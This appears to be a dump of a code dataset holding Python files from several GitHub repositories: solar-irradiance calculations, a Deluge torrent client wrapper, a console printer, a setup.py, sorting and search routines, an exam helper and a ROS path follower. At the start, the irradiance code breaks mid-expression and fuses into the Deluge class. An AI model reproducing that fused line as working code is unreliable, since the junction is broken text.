(a,b) in zip(netprodibm,poaibm)]\n\tPRibmpercent=['{:.2%}'.format(i) for i in PRratioibm]\n\tMonthlyOutputContribution_ibm=['{:.2%}'.format(i/np.sum(netprodibm)) for i in netprodibm]\n\n\tIBMScenario={'poaibm':poaibm,'netprodibm':netprodibm,'PRratioibm':PRibmpercent,'MonthlyOutputContribution_ibm':MonthlyOutputContribution_ibm}\n\n#1.3.4 TMY Scenario\n\tpoatmy=[a*b for (a,b) in zip(tmy,poafactor)]\n\tnetprodtmy=[c*d*FirstDCsize/1000 for (c,d) in zip(poatmy,PR)]\t\n\tPRratiotmy=[a/(FirstDCsize*b/1000) for (a,b) in zip(netprodtmy,poatmy)]\n\tPRtmypercent=['{:.2%}'.format(i) for i in PRratiotmy]\n\tMonthlyOutputContribution_tmy=['{:.2%}'.format(i/np.sum(netprodtmy)) for i in netprodtmy]\n\n\tTMYScenario={'poatmy':poatmy,'netprodtmy':netprodtmy,'PRratiotmy':PRtmypercent,'MonthlyOutputContribution_tmy':MonthlyOutputContribution_tmy}\n\n#1.3.5 Weather Station (Also) Scenario\n\tpoaalso=[a*b for (a,b) in zip(alsoavgmonth,poafactor)]\n\tnetprodalso=[c*d*FirstDCsize/1000 for (c,d) in zip(poaalso,PR)]\n\tnpasum = np.sum(netprodalso) if np.sum(netprodalso) != 0 else 1\n\tPRratioalso=[(a/(FirstDCsize*b/1000) if b != 0 else 0) for (a,b) in zip(netprodalso,poaalso)]\n\tPRalsopercent=['{:.2%}'.format(i) for i in PRratioalso]\n\tMonthlyOutputContribution_also=['{:.2%}'.format(i/npasum) for i in netprodalso]\n\n\tAlsoScenario={'poaalso':poaalso,'netprodalso':netprodalso,'PRratioalso':PRalsopercent,'MonthlyOutputContribution_also':MonthlyOutputContribution_also}\n\n#1.4 Lifetime Production table\n\tAdjustedDCsize=[]\n\tfor i in range(Maturity+1):\n\t\tAdjustedDCsize.append(FirstDCsize*((1-degradation)**i))\n\tstartyear=int(datetime.strptime(startdate,\"%m/%d/%Y\").year)\n\tendyear=startyear+Maturity\n\tDCsizeDict={a:b for (a,b) in zip(range(startyear,endyear+1),AdjustedDCsize)}\n\tAdjustedNominalProd=[i*P50_POA/1000 for i in AdjustedDCsize]\n\tAdjustedYearlyInvBaselineProd=[PRratio*i for i in AdjustedNominalProd]\n\tAdjustedInvBaselineProdDict={a:b for (a,b) in zip(range(startyear,endyear+1),AdjustedYearlyInvBaselineProd)}\n\tYear=range(startyear,endyear+1)\n\tYearOperation=range(Maturity+1)\n\tLifetimeProdTable={'Year':Year,'YearOperation':YearOperation,'AdjustedDCsize':DCsizeDict,'AdjustedNominalProd':AdjustedNominalProd,'AdjustedYearlyInvBaselineProd':AdjustedYearlyInvBaselineProd}\n\n#2 PED Irradiance Baseline Analysis\n#2.1 Monthly Irradiance\n\t# Get full datasets for nrel and ibm\n\tnrelfulldatapoints=[]\n\tibmfulldatapoints=[]\n\tfor (point,d) in zip(fulldatapoints,fulldatamonths):\n\t\tif d=='1/2019':\n\t\t\tbreak\n\t\tif 'ibm' in point.keys():\n\t\t\tibmfulldatapoints.append(point[\"ibm\"])\n\t\tif 'nrel' in point.keys():\n\t\t\tnrelfulldatapoints.append(point[\"nrel\"])\n\n\t#Get the PED Calibration and Monthly standard deviation in percentage for each month\n\tPED_Calibration=[]\n\tMonthlyStDev=[]\n\tnrelirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"NSRDB Irradiance Weight\"]\n\tibmirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"TWC (IBM) Irradiance Weight\"]\n\ttmyirrweight=reportdata[\"sysinfo\"][\"GHI Weights\"][\"TMY Irradiance Weight\"]\n\tnrelstdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"NSRDB Standard Deviation Weight\"]\n\tibmstdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"TWC (IBM) Standard Deviation Weight\"]\n\ttmystdweight=reportdata[\"sysinfo\"][\"StDev Weights\"][\"TMY Standard Deviation Weight\"]\n\tmodeluncertainty=reportdata[\"sysinfo\"][\"Source Data Model Uncertainty\"]\n\n\tfor (NREL,IBM,TMY) in zip(nrelavgmonth,ibmavgmonth,tmy):\n\t\tPED_Calibration.append(NREL*nrelirrweight+IBM*ibmirrweight+TMY*tmyirrweight)\n\tfor (NREL,IBM,calibration,baseline) in zip(nrelstdmonth,ibmstdmonth,PED_Calibration,altusbaseline):\n\t\tstd=np.sqrt((NREL*nrelstdweight+IBM*ibmstdweight)**2+(baseline*modeluncertainty)**2)/calibration\n\t\tMonthlyStDev.append(\"{:.2%}\".format(std))\n\n\tMonthly_Irradiance={\"InvIrrBaseline\":altusbaseline,\"PED_Calibration\":PED_Calibration,\"MonthlyStDev\":MonthlyStDev}\n\n#2.2 PED Irradiance Analysis Summary\n\t#Calculate the 12 months straight rolling numbers and then get the Standard Deviation\n\tnrelmonthrolling=[]\n\tibmmonthrolling=[]\n\tnrelmonthsum=0\n\tibmmonthsum=0\n\tfor i in range(0,len(nrelfulldatapoints)-11):\n\t\tfor r in range(i,i+12):\n\t\t\tnrelmonthsum+=nrelfulldatapoints[r]\n\t\tnrelmonthrolling+=[nrelmonthsum]\n\t\tnrelmonthsum=0\n\tfor i in range(0,len(ibmfulldatapoints)-11):\n\t\tfor r in range(i,i+12):\n\t\t\tibmmonthsum+=ibmfulldatapoints[r]\n\t\tibmmonthrolling+=[ibmmonthsum]\n\t\tibmmonthsum=0\n\n\tmonthrolling=[]\n\tnrelweight=1\n\tibmweight=1\n\tfor c in range(max(len(nrelmonthrolling),len(ibmmonthrolling))):\n\t\tif c(\" + reasontext + \")\")\n\t\ttry:\n\t\t\twhile self.delugeinterface.connected == False:\n\t\t\t\tself.delugeinterface.connect()\n\t\t# print \"=========================================================\"\n\t\t# print self.delugeinterface.call('client.api_methods')\n\t\t# print \"=========================================================\"\n\t\t# WORKS! print self.delugeinterface.call('core.get_free_space')\n\t\t# print \"=========================================================\"\n\t\t# WORKS! print self.delugeinterface.call('core.get_config')\n\t\t# print \"=========================================================\"\n\t\t\toutcome = self.delugeinterface.connected\n\t\texcept Exception as errortype:\n\t\t\toutcome = None\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to connect to deluge client (\", errortype, \")\")\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Closes the open connection with the deluge daemon\n# =========================================================================================\n\n\tdef closeconnection(self):\n\n\t\ttry:\n\t\t\twhile self.delugeinterface.connected == True:\n\t\t\t\tself.delugeinterface.disconnect()\n\t\t\toutcome = self.delugeinterface.connected\n\t\texcept Exception as errortype:\n\t\t\toutcome = None\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to disconnect from deluge client (\", errortype, \")\")\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a list of strings, one per torrent, providing the GUID of each torrent\n# =========================================================================================\n\n\tdef retrievetorrentlist(self):\n\n\t\ttry:\n\t\t\toutcome = []\n\t\t\trawtorrentlist = self.delugeinterface.call('core.get_session_state')\n\n\t\t\tfor rawtorrentid in rawtorrentlist:\n\t\t\t\toutcome.append(rawtorrentid.decode(\"ascii\", \"ignore\"))\n\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve torrent list (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a structured/layered dictionary of information about a specified (by GUID) torrent\n# =========================================================================================\n\n\tdef retrievetorrentdata(self, torrentid):\n\n\t\ttry:\n\t\t\toutcome = {}\n\t\t\trawtorrentdata = self.delugeinterface.call('core.get_torrent_status', torrentid, self.delugekeysfortorrentinfo)\n\n\n\t\t\tfor itemkey in rawtorrentdata:\n\t\t\t\titemdata = rawtorrentdata[itemkey]\n\t\t\t\tnewkeyname = itemkey.decode(\"utf-8\", \"ignore\")\n\n\t\t\t\tif isinstance(itemdata, bytes) == True:\n\t\t\t\t\toutcome[newkeyname] = itemdata.decode(\"utf-8\", \"ignore\")\n\n\t\t\t\telif isinstance(itemdata, tuple) == True:\n\t\t\t\t\tnewlist = []\n\t\t\t\t\tfor subitem in itemdata:\n\t\t\t\t\t\tnewsubdictionary = {}\n\t\t\t\t\t\tfor subitemkey in subitem:\n\t\t\t\t\t\t\tnewsubitemkey = subitemkey.decode(\"utf-8\", \"ignore\")\n\t\t\t\t\t\t\tif isinstance(subitem[subitemkey], bytes) == True:\n\t\t\t\t\t\t\t\tnewsubitemdata = subitem[subitemkey].decode(\"utf-8\", \"ignore\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tnewsubitemdata = subitem[subitemkey]\n\t\t\t\t\t\t\tnewsubdictionary[newsubitemkey] = newsubitemdata\n\t\t\t\t\t\tnewlist.append(newsubdictionary)\n\t\t\t\t\toutcome[newkeyname] = newlist\n\n\t\t\t\telse:\n\t\t\t\t\toutcome[newkeyname] = itemdata\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve torrent data for \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Adds a new torrent to the daemon, using the specified link URL\n# Returns the GUID of the added torrent\n# =========================================================================================\n\n\tdef addtorrentlink(self, linkstring):\n\n\t\ttry:\n\t\t\tif linkstring[:7] == \"magnet:\":\n\t\t\t\tnewtorrentid = self.delugeinterface.call('core.add_torrent_magnet', linkstring, {})\n\t\t\telse:\n\t\t\t\tnewtorrentid = self.delugeinterface.call('core.add_torrent_url', linkstring, {})\n\t\t\toutcome = newtorrentid.decode(\"ascii\", \"ignore\")\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to add new torrent (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Instigates a recheck of the specified (by GUID) torrent\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef rechecktorrent(self, torrentids):\n\n\t\ttry:\n\t\t\toutcome = self.delugeinterface.call('core.force_recheck', torrentids)\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to force recheck of torrent \" + torrentids + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Pauses the specified (by GUID) torrent\n# If \"ALL\" is specified, all torrents in the daemon are paused\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef pausetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\tif torrentid == \"ALL\":\n\t\t\t\toutcome = self.delugeinterface.call('core.pause_all_torrents')\n\t\t\telse:\n\t\t\t\toutcome = self.delugeinterface.call('core.pause_torrent', [torrentid])\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to pause torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Unpauses the specified (by GUID) torrent\n# If \"ALL\" is specified, all torrents in the daemon are unpaused\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef resumetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\tif torrentid == \"ALL\":\n\t\t\t\toutcome = self.delugeinterface.call('core.resume_all_torrents')\n\t\t\telse:\n\t\t\t\toutcome = self.delugeinterface.call('core.resume_torrent', [torrentid])\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to resume torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Deletes the specified (by GUID) torrent\n# (Returns the RPCClient response, an unknown object)\n# =========================================================================================\n\n\tdef deletetorrent(self, torrentid):\n\n\t\ttry:\n\t\t\toutcome = self.delugeinterface.call('core.remove_torrent', torrentid, True)\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to delete torrent \" + torrentid + \" (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n\n# =========================================================================================\n# Returns a dictionary of information about the daemon session\n# =========================================================================================\n\n\tdef retrievesessiondata(self):\n\n\t\ttry:\n\t\t\trawstats1 = self.delugeinterface.call('core.get_session_status', self.delugekeysforsessioninfo)\n\t\t\trawstats2 = self.delugeinterface.call('core.get_free_space')\n\n\t\t\toutcome = {}\n\t\t\toutcome['uploadspeed'] = rawstats1[b'payload_upload_rate']\n\t\t\toutcome['downloadspeed'] = rawstats1[b'payload_download_rate']\n\t\t\toutcome['uploadedtotal'] = rawstats1[b'total_payload_upload']\n\t\t\toutcome['freespace'] = rawstats2 / 1000000000\n\n\t\texcept Exception as errortype:\n\t\t\tprint(\"DELUGE INTERFACE ERROR: Trying to retrieve session data (\", errortype, \")\")\n\t\t\toutcome = None\n\n\n\t\treturn outcome\n\n\n","repo_name":"johnpcole/Download-Manager","sub_path":"codebase/common_components/deluge_framework/deluge_class.py","file_name":"deluge_class.py","file_ext":"py","file_size_in_byte":10128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32468476503","text":"# Standard Library\nimport os\nimport pprint\nimport re\nimport shutil\nimport sys\n\n__all__ = ['console']\n\nTERMINAL_COLUMNS, _ = shutil.get_terminal_size()\nSEPERATOR_CHAR = '.'\n\n\nclass Console:\n \"\"\"Console class holds the main functionality of console app.\"\"\"\n\n valid_options = [\n 'source',\n 'indent',\n 'width',\n 'enabled',\n 'seperator_char',\n 'colored',\n 'dir_colors',\n 'out_color',\n 'header_color',\n 'footer_color',\n 'basic',\n 'writer',\n ]\n default_options = dict(\n indent=4,\n width=TERMINAL_COLUMNS,\n seperator_line='{source:{char}<{width}}',\n seperator_char=SEPERATOR_CHAR,\n colored=False,\n dir_colors=dict(keys='yellow', values='default'),\n out_color='yellow',\n header_color='green',\n footer_color='green',\n basic=True,\n writer=sys.stdout,\n )\n colors = dict(\n black=0,\n red=1,\n green=2,\n yellow=3,\n blue=4,\n magenta=5,\n cyan=6,\n white=7,\n default=8,\n )\n\n def __init__(self, **options):\n self.options = dict()\n\n for default_option in self.default_options:\n self.options.update(\n [(default_option, self.default_options.get(default_option))]\n )\n\n enabled = False\n if os.environ.get('ENABLE_CONSOLE', False):\n if os.environ.get('ENABLE_CONSOLE').lower() in ['1', 'yes', 'true']:\n enabled = True\n\n self.options.update(enabled=enabled)\n self.configure(**options)\n\n def configure(self, **options):\n for option in options:\n if option not in self.valid_options:\n raise Exception(f'{option} is not a valid option')\n self.options.update([(option, options.get(option))])\n\n self.options.update(seperator_char=self.options.get('seperator_char')[0])\n\n def __call__(self, *args, **options):\n self.configure(**options)\n if args and self.options.get('enabled'):\n self.out(args, **options)\n\n def dir(self, *args, **options): # noqa: A003\n self.configure(**options)\n\n if not args or self.options.get('enabled') is False:\n return\n\n for arg in args:\n payload = dict()\n\n source_name = arg.__class__.__name__\n if source_name != 'type':\n source_name = f'instance of {source_name}'\n if hasattr(arg, '__name__'):\n source_name = arg.__name__\n\n source = f'{source_name} | {type(arg)}'\n\n dir_arg = dir(arg)\n all_dunders = list(filter(lambda i: i.startswith('_'), dir_arg))\n\n internal_methods = list(filter(lambda i: i.startswith('__'), all_dunders))\n private_methods = list(\n filter(lambda i: not i.startswith('_', 1), all_dunders)\n )\n public_attributes = list(filter(lambda i: not i.startswith('_'), dir_arg))\n\n if internal_methods:\n internal_methods.sort(key=str.casefold)\n payload.update(internal_methods=internal_methods)\n if private_methods:\n private_methods.sort(key=str.casefold)\n payload.update(private_methods=private_methods)\n if public_attributes:\n public_attributes.sort(key=str.casefold)\n payload.update(public_attributes=public_attributes)\n\n if hasattr(arg, '__dict__'):\n data_attributes = list(arg.__dict__.keys()).sort(key=str.casefold)\n payload.update(data_attributes=data_attributes)\n\n if hasattr(arg.__class__, '__dict__'):\n class_dict = arg.__class__.__dict__\n\n properties_list = list()\n static_methods_list = list()\n class_methods_list = list()\n methods_list = list()\n class_variables_list = list()\n\n for k in class_dict:\n class_name = class_dict[k].__class__.__name__\n\n if class_name == 'property':\n properties_list.append(k)\n if class_name == 'staticmethod':\n static_methods_list.append(k)\n if class_name == 'classmethod':\n class_methods_list.append(k)\n\n if not k.startswith('_'):\n if class_name == 'function':\n methods_list.append(k)\n if class_name in ['int', 'str', 'list', 'dict', 'set']:\n class_variables_list.append(k)\n\n if properties_list:\n properties_list.sort(key=str.casefold)\n payload.update(properties=properties_list)\n if static_methods_list:\n static_methods_list.sort(key=str.casefold)\n payload.update(static_methods=static_methods_list)\n if class_methods_list:\n class_methods_list.sort(key=str.casefold)\n payload.update(class_methods=class_methods_list)\n if methods_list:\n methods_list.sort(key=str.casefold)\n payload.update(methods=methods_list)\n if class_variables_list:\n class_variables_list.sort(key=str.casefold)\n payload.update(class_variables=class_variables_list)\n\n options.update(source=source)\n self.out(payload, **options)\n\n def out(self, elements, **options):\n source = self.options.get('source', 'n/a')\n\n if 'source' in options.keys():\n source = f\"{source} : {options.pop('source')}\"\n\n writer = self.options.get('writer')\n\n pretty_print = pprint.PrettyPrinter(\n indent=self.options['indent'],\n width=self.options['width'],\n compact=True,\n stream=writer,\n )\n\n header = self.options.get('seperator_line').format(\n source=f'[{source}]',\n char=self.options.get('seperator_char'),\n width=self.options.get('width'),\n )\n footer = self.options.get('seperator_char') * self.options.get('width')\n\n formated = pretty_print.pformat(elements)\n\n if self.options.get('colored') is True:\n out_color = self.colors.get(\n self.options.get('out_color', 'green'),\n )\n formated = f'\\033[3{out_color}m{elements}\\033[0m'\n\n if self.options.get('basic', True) is False:\n header_color = self.colors.get(\n self.options.get('header_color', 'green'),\n 'green',\n )\n header = f'\\033[3{header_color}m{header}\\033[0m'\n\n footer_color = self.colors.get(\n self.options.get('footer_color', 'green'),\n 'green',\n )\n footer = f'\\033[3{footer_color}m{footer}\\033[0m'\n\n key_color = self.colors.get(\n self.options.get('dir_colors').get('keys', 'yellow'),\n 'yellow',\n )\n value_color = self.colors.get(\n self.options.get('dir_colors').get('values', 'white'),\n 'white',\n )\n\n formated = re.sub(\n r\"'(\\w+)':\",\n fr\"\\033[3{key_color}m'\\1'\\033[0m: \\033[3{value_color}m\",\n formated,\n )\n\n if self.options.get('basic', True) is False:\n writer.write(f'{header}\\n')\n\n writer.write(f'{formated}\\n')\n\n if self.options.get('basic', True) is False:\n writer.write(f'{footer}\\n')\n\n\ndef console(**options):\n return Console(**options)\n","repo_name":"vbyazilim/vb-console","sub_path":"src/console/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":7861,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"5230329923","text":"from setuptools import setup, find_packages\n\n\nfrom os import path\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'tcomapi', 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(name='tcomapi',\n version='0.1.13',\n description='Bundle for getting open data from some KZ sites.',\n url='https://github.com/elessarelfstone/tcomapi',\n author='Dauren Sdykov',\n author_email='elessarelfstone@mail.ru',\n license='MIT',\n packages=find_packages(),\n include_package_data=True,\n python_requires='>=3.6.1',\n setup_requires=[\n 'wheel',\n ],\n install_requires=[\n 'aiohttp',\n 'attrs>=19.3.0',\n 'python-box>=3.4.5',\n 'requests>=2.22.0',\n 'xmltodict>=0.12.0',\n 'tqdm>=4.38.0'\n ],\n extras_require={\n 'dev': [\n 'setuptools>=38.6.0',\n 'wheel>=0.31.0',\n 'twine>=1.11.0',\n ],\n },\n entry_points={\n 'console_scripts': [\n 'kgd=tcomapi.kgd.__main__:main',\n 'sgov=tcomapi.sgov.__main__:main'\n ],\n },\n classifiers=[\n \"Programming Language :: Python :: 3.6\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Development Status :: 4 - Beta\",\n \"Environment :: No Input/Output (Daemon)\",\n \"Intended Audience :: System Administrators\",\n \"Natural Language :: English\",\n \"Topic :: Internet\",\n ],\n long_description=long_description,\n long_description_content_type='text/markdown',\n zip_safe=True)\n","repo_name":"elessarelfstone/tcomapi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"15352851036","text":"# Common Alphabets N Strings\n# N string values are passed as input to the program. Each string will contain only the alphabets a-z in lower case. A given alphabet may be repeated any number of times. The program must print the count C of the alphabets that are present in all the N string values.\n\n# Input Format:\n# The first line contains N.\n# Next N lines contain the N string values.\n\n# Output Format:\n# The first line contains C.\n\n# Boundary Conditions:\n# 2 <= N <= 500\n# 1 <= Length of the string value <= 1000\n\n# Example Input/Output 1:\n# Input:\n# 3\n# mnppqqr\n# ajkmnnm\n# poormanagement\n\n# Output:\n# 2\n\n# Explanation:\n# Only 2 alphabets m and n are present in all the three string values.\n\n\n\n\n\n\n\n\n\nn=int(input())\narr=[]\ncount = 0\nfor i in range(n):\n arr.append(input().strip())\nfor c in set(arr.pop(0)):\n flag = True\n for w in arr:\n if c not in w:\n flag = False\n if flag:\n count += 1 \nprint(count)","repo_name":"Logesh08/Programming-Daily-Challenges","sub_path":"Common Alphabets N Strings.py","file_name":"Common Alphabets N Strings.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13899204631","text":"def merge_sort(array):\n # caso base: se já atingiu a menor porção (1)\n if len(array) <= 1:\n # retorne o array\n return array\n # calculo do pivot: índice que indica onde o array será particionado\n # no caso, metade\n mid = len(array) // 2\n # para cada metade do array\n # chama a função merge_sort de forma recursiva\n left, right = merge_sort(array[:mid]), merge_sort(array[mid:])\n # mistura as partes que foram divididas\n return merge(left, right, array.copy())\n\n\n# função auxiliar que realiza a mistura dos dois arrays\ndef merge(left, right, merged):\n\n left_cursor, right_cursor = 0, 0\n\n # enquanto nenhumas das partes é percorrida por completo\n while left_cursor < len(left) and right_cursor < len(right):\n\n # compare os dois itens das partes e insira no array de mistura o menor\n if left[left_cursor] <= right[right_cursor]:\n merged[left_cursor + right_cursor] = left[left_cursor]\n left_cursor += 1\n else:\n merged[left_cursor + right_cursor] = right[right_cursor]\n right_cursor += 1\n # a iteração acima irá inserir os elementos de forma ordenada\n\n # quando uma das partes termina, devemos garantir\n # que a outra sera totalmente inserida no array de mistura\n\n # itera sobre os elementos restantes na partição \"esquerda\"\n # inserindo-os no array de mistura\n for left_cursor in range(left_cursor, len(left)):\n merged[left_cursor + right_cursor] = left[left_cursor]\n\n # itera sobre os elementos restantes na partição \"direita\"\n # inserindo-os no array de mistura\n for right_cursor in range(right_cursor, len(right)):\n merged[left_cursor + right_cursor] = right[right_cursor]\n\n return merged\n\n\n# print(merge_sort([100, 4, 6, 33, 56, 67]))\n# print(merge_sort([7, 3, 5, 4, 6, 8, 2, 1]))\n","repo_name":"vanderson-henrique/trybe-exercises","sub_path":"COMPUTER-SCIENCE/BLOCO_37/37_3/exercicios/exercicio2_merge_sort.py","file_name":"exercicio2_merge_sort.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24513135066","text":"from sequentials.sequential import Sequential\n\n\nclass InterpolationSearch(Sequential):\n\n def __init__(self):\n self.counts = []\n\n # вернёт индекс со значением элемента number или -1 в случае, если такого элемента в массиве нет\n def __search__(self, numbers, key):\n numbers = sorted(numbers)\n left = 0\n right = len(numbers) - 1\n count = 0\n\n while numbers[left] < key < numbers[right]:\n mid = left + (key - numbers[left]) * (right - left) // (numbers[right] - numbers[left])\n count += 1\n if numbers[mid] < key:\n left = mid + 1\n elif numbers[mid] > key:\n right = mid - 1\n else:\n self.counts.append(count)\n return mid\n\n if numbers[left] == key:\n count += 1\n self.counts.append(count)\n return left\n elif numbers[right] == key:\n count += 1\n self.counts.append(count)\n return right\n else:\n return -1\n","repo_name":"DrShpak/task3","sub_path":"sequentials/interpolation_search.py","file_name":"interpolation_search.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38040450981","text":"from tabulate import tabulate\nimport win32clipboard\nimport time\n\n\ndef get_user_input(start_msg: str, input_msg: str):\n data = []\n\n print(start_msg)\n\n print(\"\"\"Available commands:\n 'exit': Exit the input\n '': Copy from clipboard\n 'autoclip': automatically copy when clipboard change (copy exit to exit)'\"\"\")\n\n while True:\n user_input = input(input_msg)\n if user_input == \"exit\":\n return data\n\n elif user_input == \"\":\n win32clipboard.OpenClipboard()\n clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n\n user_input = clipboard_data\n\n elif user_input == \"autoclip\":\n win32clipboard.OpenClipboard()\n win32clipboard.SetClipboardText(\"\")\n start_clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n while True:\n win32clipboard.OpenClipboard()\n clipboard_data = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n\n if clipboard_data == \"exit\":\n win32clipboard.OpenClipboard()\n win32clipboard.CloseClipboard()\n break\n\n if clipboard_data != start_clipboard_data:\n data.append(clipboard_data)\n print(f\"Auto-detected: {clipboard_data}\")\n\n start_clipboard_data = clipboard_data\n\n time.sleep(0.1)\n\n continue\n\n data.append(user_input)\n\n print(f\"Registered data: {user_input}\")\n\n\ndef mode_0():\n # Stage 1 - variable defining\n for x in get_user_input(\"Vennligs definer variablane.\", \"Definisjon:\"):\n exec(x)\n\n # Stage 2 - Executing comparisons\n\n comparison_table = [] # Skal inneholde tuples i rekkefølge (comparison, bool, float, int, list, (-error), str)\n\n print(\"Lets input all the comparisons.\")\n for x in get_user_input(\"Please enter expression to check\", \"Expression: \"):\n\n try:\n new_variable = eval(x)\n\n comparison_table.append(\n (x,\n \"X\" if isinstance(new_variable, bool) else \"\",\n \"X\" if isinstance(new_variable, float) else \"\",\n \"X\" if isinstance(new_variable, int) else \"\",\n \"X\" if isinstance(new_variable, list) else \"\",\n \"\",\n \"X\" if isinstance(new_variable, str) else \"\",\n type(new_variable)\n )\n )\n\n except Exception:\n comparison_table.append((x, \"\", \"\", \"\", \"\", \"X\", \"\", \"ERROR\"))\n\n # Stage 3 - Print it all out neatly\n\n print(tabulate(comparison_table, headers=(\"Expression\", \"bool\", \"float\", \"int\", \"list\", \"(-error-)\", \"str\", \"TYPE\"),\n tablefmt=\"fancy_grid\"))\n\n\ndef mode_1():\n comparison_table = [] # tuple: (expression, true, false)\n\n for x in get_user_input(\"Please input expressons to evaluate\", \"Expression: \"):\n try:\n\n evaluated = eval(x)\n\n comparison_table.append((x, \"X\" if evaluated is False else \"\", \"X\" if evaluated is True else \"\"))\n except Exception:\n comparison_table.append(x, \"ERR\", \"ERR\")\n\n print(tabulate(comparison_table, headers=(\"Expression\", \"False\", \"True\"), tablefmt=\"fancy_grid\"))\n\n\nmodes = {\n 0: (\"Find data type\", mode_0),\n 1: (\"Find bool result\", mode_1)\n}\n\n\ndef start_program():\n print(\"Vennligs spesifiser operasjonsmodus:\")\n for k, v in modes.items():\n print(f\"{k}: {v[0]}\")\n print(\"Skriv exit for å avslutte\")\n while True:\n user_input = input(\"Mode: \")\n\n if user_input == \"exit\":\n print(\"Ha det!\")\n exit()\n\n if modes.get(int(user_input), -1) != -1:\n print(f\"Using function: {modes[int(user_input)][0]}\")\n\n modes[int(user_input)][1]()\n\n break\n\n\nstart_program()\n","repo_name":"gronnmann/INF100","sub_path":"eksamenstools.py","file_name":"eksamenstools.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38292549643","text":"#! /usr/bin/env python3\nimport rospy\nimport actionlib\nimport planner.msg\nfrom nav_msgs.msg import Odometry, OccupancyGrid\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\nfrom tf.transformations import euler_from_quaternion\nfrom math import atan2, pi, sqrt\nimport matplotlib.pyplot as plt\nimport math\nfrom math import atan2 , pi, cos, sin, radians, floor, isnan, isinf\nclass PathFollower(object):\n # message variables initialization\n ranges = [100.0]*360\n cur_x = 0.0\n cur_y = 0.0\n\n # create messages that are used to publish feedback/result\n _feedback = planner.msg.PathFollowFeedback()\n _result = planner.msg.PathFollowResult()\n\n # variables for calculating total distance travelled till now\n total_distance = 0.0\n previous_x = 0\n previous_y = 0\n first_run = True\n\n # velocity values\n linear_vel = 0.08\n angular_vel = 0.08\n\n # threshold values\n angle_err_threshold = 1*math.pi/180 # if difference between goal angle and current angle is less than this threshold we stop angular correction\n dist_err_threshold = 0.05 # if bot is within a radius of this threshold value goal has been reached.\n obstacle_dist_threshold = 2 #1.0 #if there is an obstacle within this threshold, stop the bot\n stopping_dist = 10.0 # after travelling stopping_dist m, the bot stops to update obstacles\n\n #initializing map\n map=OccupancyGrid()\n map_first_cb=False\n # Initializing the Subscriber(Odom), Publisher(cmd_vel), ActionServer(Initial_Move)\n def __init__(self, name):\n self.sub_odom = rospy.Subscriber('/odom', Odometry, self.clbk_odom)\n self.sub_scan = rospy.Subscriber('/scan', LaserScan, self.clbk_scan)\n self.sub_map = rospy.Subscriber('/map', OccupancyGrid, self.clbk_map)\n self.pub_vel = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\n\n self._action_name = name\n self._as = actionlib.SimpleActionServer(self._action_name, planner.msg.PathFollowAction, execute_cb=self.execute_cb, auto_start = 